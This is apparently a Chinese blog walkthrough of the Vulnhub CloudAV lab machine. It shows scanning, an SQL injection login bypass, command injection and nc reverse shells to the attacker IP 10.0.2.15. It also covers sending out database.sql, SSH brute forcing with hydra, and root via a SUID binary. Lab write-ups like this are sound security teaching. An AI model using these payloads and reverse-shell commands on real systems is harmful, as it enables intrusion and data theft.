【Vulnhub】CloudAV

selph
selph
发布于 2021-09-20 / 510 阅读
0
0

【Vulnhub】CloudAV

靶机信息:

靶机地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/

难度:Easy

作者:BoredHackerBlog

虚拟机:Virtual Box

靶机任务介绍:这是一个云反病毒扫描平台,当前是个测试版,你被要求去测试这个程序,并找出漏洞提升权限

WalkThrough

主机发现

arp-scan 定位是一款黑客工具,不一定每个Linux都有,而 arping 是所有Linux都会默认自带的工具,这里使用arping进行主机发现:

└─$ for i in $(seq 1 254);do sudo arping -c 2 10.0.2.$i; done;

10.0.2.1--10.0.2.3是虚拟机软件自带的,这里扫描出来了目标IP:10.0.2.5

image-20210920192011146

端口扫描

└─$ sudo nmap -p- 10.0.2.5     
[sudo] selph 的密码:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-20 19:22 CST
Nmap scan report for 10.0.2.5
Host is up (0.000064s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
MAC Address: 08:00:27:DA:AD:92 (Oracle VirtualBox virtual NIC)

这里开放了22,8080端口,接下来进行服务扫描

服务探测

└─$ sudo nmap -p22,8080 -sV 10.0.2.5
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-20 19:25 CST
Nmap scan report for 10.0.2.5
Host is up (0.00042s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.15rc1)
MAC Address: 08:00:27:DA:AD:92 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.27 seconds

22端口是OpenSSH 7.6p1服务

8080端口是Werkzeug,基于python的Web服务,查看一下:

image-20210920192727036

这里的说明是,要通过密码来进行登录,才能进入后续界面

对于这里的攻击思路:通过代码上的漏洞SQL注入来绕过登录和暴力破解

SQL注入

使用burp的intruder模块对登录请求的注入点进行测试,最好把键盘上所有的特殊符号挨个进行注入一遍,因为在任何的语言中,键盘上的符号都有特殊的功能,如果存在注入漏洞,当注入特殊符号的时候,就会触发服务器端代码上的问题,造成语法语义上的歧义,从而使服务器无法处理请求,从而发现漏洞,通过触发漏洞,可以找到可能存在的注入漏洞

结果筛选,有两种方法,响应码和数据长度,异常情况这两个地方很可能会有所不同

image-20210920194104377

通过查看响应信息,这里得知是双引号触发了服务端的报错,是服务端的数据库服务报的错

往下继续查看发现关键点:

image-20210920194222705

这里的这个语句报错,这个语句是SQL语句拼接,双引号被拼接到了SQL语句中导致了报错,此处存在SQL注入漏洞

SQL语句:

select * from code where password=" + password + "

构建payload:使用"or 1=1来绕过

1"or 1=1--+

SQL注入成功,进入后台:

image-20210920194932492

命令注入&反弹shell

这里可以指定文件名提交给服务器进行云查杀

界面上的内容是Linux上ls -l命令查看返回的结果,这里可以猜想

当我们提交某个文件之后,服务器也是会调用某个命令进行操作,这里可以猜想服务器是通过这样的命令进行操作的:AVscan hello

如果是这样的,那就意味着相当于可以使用管道来操控服务器,可能这里存在命令注入的问题

进行尝试,猜想成立:

image-20210920200354961

既然可以命令注入,那就可以注入更多的指令来进行反弹shell

在Linux上通常会使用nc进行网络连接,来查看一下nc命令是否存在:hello | which nc

image-20210920200824977

目标机器上存在nc,那就可以用nc来进行反弹shell了

payload:

nc -e /bin/sh 10.0.2.15 8888

失败,猜测这里版本的nc没有-e参数,不能这么来反弹shell了

nc的基本连接功能测试:

nc 10.0.2.15 8888

image-20210920201504748

可以初步确认了目标的nc版本是没有-e参数的

那这里通过管道来进行操作:

hello | nc 10.0.2.15 8888 | /bin/bash | nc 10.0.2.15 8889

通过普通的网络连接接收数据,数据通过管道传输给/bin/bash进行解析,再将执行结果通过管道传给nc的另一个连接发出去,效果如下:

image-20210920202440226

到此,已经拿到反弹shell了

信息收集

查看文件,查看database.sql信息

image-20210920202853649

可以怀疑这个database.sql就是Web应用程序的数据库

数据库是否会包含重要信息呢?把数据库文件下载下来进行查看:

nc 10.0.2.15 8899 < database.sql

image-20210920203132587

下载完之后使用sqlite3进行解析:

image-20210920203256707

发现了4个密码

接下来去看看目标上有哪些有shell的账号:

cat /etc/passwd | grep /bin/bash

image-20210920203438202

把用户名和密码都整理到字典文件里为后续爆破做准备

SSH爆破

因为开放了SSH服务,又收集到了一批用户名和密码,这里可以尝试SSH爆破登录

使用hydra进行爆破:

hydra -L user.txt -P pass.txt ssh://10.0.2.5

爆破结束后,没有账号可用,这次尝试失败了

接下来要从别的地方想办法了

再次信息收集

查看到当前目录的上级目录中存在文件:

image-20210920210839649

这应该就是通过web提交的文件名被执行的地方了,这个C语言文件应该就是源码,查看一下:

image-20210920211058463

可以看到,这里是通过获取参数来执行功能的

这里的update_cloudav的属性位有SUID,SUID可以让使用者继承属主的权限,属主是root,所以这里得想办法利用一下

SUID提权

这里可以构造参数拼接反弹shell的命令进去:

.././update_cloudav "a | nc 10.0.2.15 10000 | /bin/bash | nc 10.0.2.15 10001"

在kali这边监听好端口:

image-20210920211344004

拿到root权限!


评论